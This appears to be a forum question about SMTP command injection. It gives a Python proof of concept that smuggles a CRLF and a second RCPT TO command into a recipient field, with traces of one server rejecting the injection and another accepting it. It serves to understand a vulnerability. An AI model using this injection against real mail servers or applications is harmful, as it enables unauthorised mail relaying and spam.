On another thread a user was trying to use SMTP injections and, as a test, trying to inject a supplementary recipient for this email.
My understanding of the issue preventing him from succeeding were the following:
- He uses Python SMTPlib which filters parameters (unexpected data is silently dropped) precisely in order to prevent such attacks,
- He was injecting data at the wrong place, affecting the mail data instead of the actual SMTP protocol exchange.
However, following comments show that my understanding is erroneous and I still do not understand why. So, to avoid out-of-topic discussion on this previous thread, I open a new question with more details on my point of view.
I have written below a quick proof of concept, still in Python, and voluntary not using SMTPlib since as said above this library include protection against SMTP injection:
#! /usr/local/bin/python3.3
host = "smtp.example.com"
port = 2525
sender = "myself@example.com"
# Injection occurs here:
recipient = "realrecipient@example.com>\r\nRCPT TO:<injectedone@example.com"
msg = "From: \"Bob Example\" <bob@example.org>\r\n" + \
"To: \"Alice Example\" <alice@example.com>\r\n" + \
"Cc: theboss@example.com\r\n" + \
"Date: Tue, 15 January 2008 16:02:43 -0500\r\n" + \
"Subject: Test message\r\n" + \
"\r\n" + \
"This is a test\r\n"
import re
import socket
import time
def getReply(sock):
time.sleep(0.1)
reply = str(sock.recv(4096), "ascii")
if reply[0] != '2' and reply[0] != '3':
raise RuntimeError("SMTP error: " + reply)
print("S: " + reply)
def sendCmd(sock, cmd):
sock.sendall(bytes(cmd, "ascii"))
print("C: " + cmd)
getReply(sock)
sock = socket.create_connection((host, port))
getReply(sock)
sendCmd(sock, "EHLO somebody.example.com\r\n")
sendCmd(sock, "MAIL FROM:<" + sender + ">\r\n")
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
sendCmd(sock, "DATA\r\n")
sendCmd(sock, msg + "\r\n.\r\n")
sendCmd(sock, "QUIT\r\n")
sock.close()
This scripts simulates and SMTP injection in the recipient field.
A secure SMTP server can detect such injection because of the presence of trailing data after the line feed at the end of the RCPT TO: command. The output below is produced when executing this scripts against private OpenBSD OpenSMTPD server:
S: 220 smtp.example.com ESMTP OpenSMTPD
C: EHLO somebody.example.com
S: 250-smtp.example.com Hello somebody.example.com [127.0.0.1], pleased to meet you
250-8BITMIME
250-ENHANCEDSTATUSCODES
250-SIZE 36700160
250-DSN
250 HELP
C: MAIL FROM:<myself@example.com>
S: 250 2.0.0: Ok
C: RCPT TO:<realrecipient@example.com>
RCPT TO:<injectedone@example.com>
Traceback (most recent call last):
File "./semail.py", line 31, in <module>
sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n")
File "./semail.py", line 25, in sendCmd
getReply(sock)
File "./semail.py", line 19, in getReply
raise RuntimeError("SMTP error: " + reply)
RuntimeError: SMTP error: 500 5.5.1 Invalid command: Pipelining not supported
A secure SMTP server correctly detects suspicious data and reject the request.
However, unsecured mail server will read incoming data line per line and will not detect the issue. The trace below has been obtained when executing the same script against a major public email services provider:
S: 220 smtp.example.com ESMTP ready
C: EHLO somebody.example.com
S: smtp.example.com
250-PIPELINING
250-SIZE 41943040
250-8BITMIME
250 STARTTLS
C: MAIL FROM:<myself@example.com>
S: 250 sender <myself@example.com> ok
C: RCPT TO:<realrecipient@example.com>
RCPT TO:<injectedone@example.com>
S: 250 recipient <realrecipient@example.com> ok
250 recipient <injectedone@example.com> ok
C: DATA
S: 354 go ahead
C: From: "Bob Example" <bob@example.org>
To: "Alice Example" <alice@example.com>
Cc: theboss@example.com
Date: Tue, 15 January 2008 16:02:43 -0500
Subject: Test message
This is a test
.
S: 250 ok dirdel 1/1
C: QUIT
S: 221 smtp.example.com
An unsecure SMTP server consumes and executes injected commands. Here the emails have been correctly received by the recipients.
My conclusion after this test is that the SMTP injection of RCPT TO: commands using the recipient field is successful, and its execution toward different servers shows that some servers are more protected that others against this attack.
Moreover, in this example an RCTP TO: command was used as a follow up of the original question, however at this step one has just access to the plain SMTP protocol discussion and is free to inject any command on vulnerable servers.
However, the comments on the original thread seems to indicate that I am currently missing something crucial in my analysis and that such conclusions are therefore irrelevant.
May someone help me to determine where exactly I am wrong in my analysis of this issue?
RCPT TO, since the server must accept at least 100 of them, as any other SMTP command, creating a new envelope might be needed but will most probably not be a problem). – WhiteWinterWolf May 14 '15 at 13:51